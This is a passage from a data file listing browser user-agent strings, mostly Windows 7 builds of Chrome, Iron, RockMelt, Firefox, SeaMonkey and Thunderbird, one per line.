Gecko) Chrome/4.0.204.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Maxthon/3.0.6.27 Safari/532.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.275.2 Safari/532.8 Iron/4.0.275.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.280.0 Safari/532.8 Iron/4.0.280.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.275.0 Safari/532.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.280.0 Safari/532.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser 5.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.336.0 Safari/533.1 ChromePlus/1.3.8.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Iron/5.0.326.0 Chrome/5.0.326.0 Safari/533.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Lunascape/6.4.2.23236 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.0alpha3 ChromePlus/1.5.1.0alpha3 ChromePlus/1.5.1.0alpha3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.216 Safari/534.10 ChromePlus/1.5.1.0alpha1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0alpha1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 ChromePlus/1.6.0.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.51 Chrome/9.0.597.107 Safari/534.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.459 Chrome/10.0.648.204 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.518 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/112818688.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/42050816.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/53013696.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/66529120.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/92861792.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/10116928.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/101291424.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/104641472.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/104938112.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/104972448.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/106435680.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/108267552.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/128779872.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/23411456.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/32022144.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/37517984.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/40061376.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/52229024.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/58473792.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/61170080.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/61389024.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/6316928.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/65209600.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/65969728.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/67162016.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/6838624.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/69296032.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/73530880.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/76829344.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/83554272.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/89895776.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/94403424.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/95066112.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/9724672.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/97486176.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/98035072.534\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.4.3.0alpha3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.2.4599 Chrome/7.0.517.442 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.128 Chrome/7.0.517.44 Safari/534.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 GTB5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.24) Gecko/20100228 Sylera/3.0.20 SeaMonkey/1.1.19\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.24) Gecko/20100228 Sylera/3.0.20 SeaMonkey/1.1.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.1b3;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090701 Firefox/3.5 Lunascape/5.1.1.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090722 Firefox/3.5.1 Orca/1.2 build 2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.14) Gecko/20100930 SeaMonkey/2.0.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 FirePHP/0.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.18) Gecko/20110320 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20100121 Firefox/3.5.6 Wyzo/3.5.6.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7pre) Gecko K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100223 Firefox/3.5.8 Lunascape/6.1.0.20940 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100317 Lightning/1.0b1 SeaMonkey/2.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0a3pre\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b4pre) Gecko/20090420 Shiretoko/3.5b4pre (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101023 Firefox/3.6.11 (Palemoon/3.6.11) ( .NET CLR 3.5.30729; .NET4.0E)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6 ThunderBrowse/3.3.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13 GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbPTV2/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbSPC2/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT5V5/3.9.1.14019 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 BTRS28621 Firefox/3.6.13\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101211 Firefox/3.6.13 (Palemoon/3.6.13)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101211 Firefox/3.6.13 (Palemoon/3.6.13) GTB7.1\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 ( .NET CLR 3.5.30729; .NET4.0C) FirePHP/0.5\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100324 Firefox/3.6.2 (Palemoon/3.6.2)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120410 Firefox/3.6.28 Lunascape/6.7.1.25446\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.5.3;MEGAUPLOAD 1.0 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100409 Firefox/3.6.3 CometBird/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.30) Gecko/20120217 Firefox/3.6.30 (Palemoon/3.6.30)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100403 Lorentz/3.6.3plugin2pre (.NET CLR 4.0.20506)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; 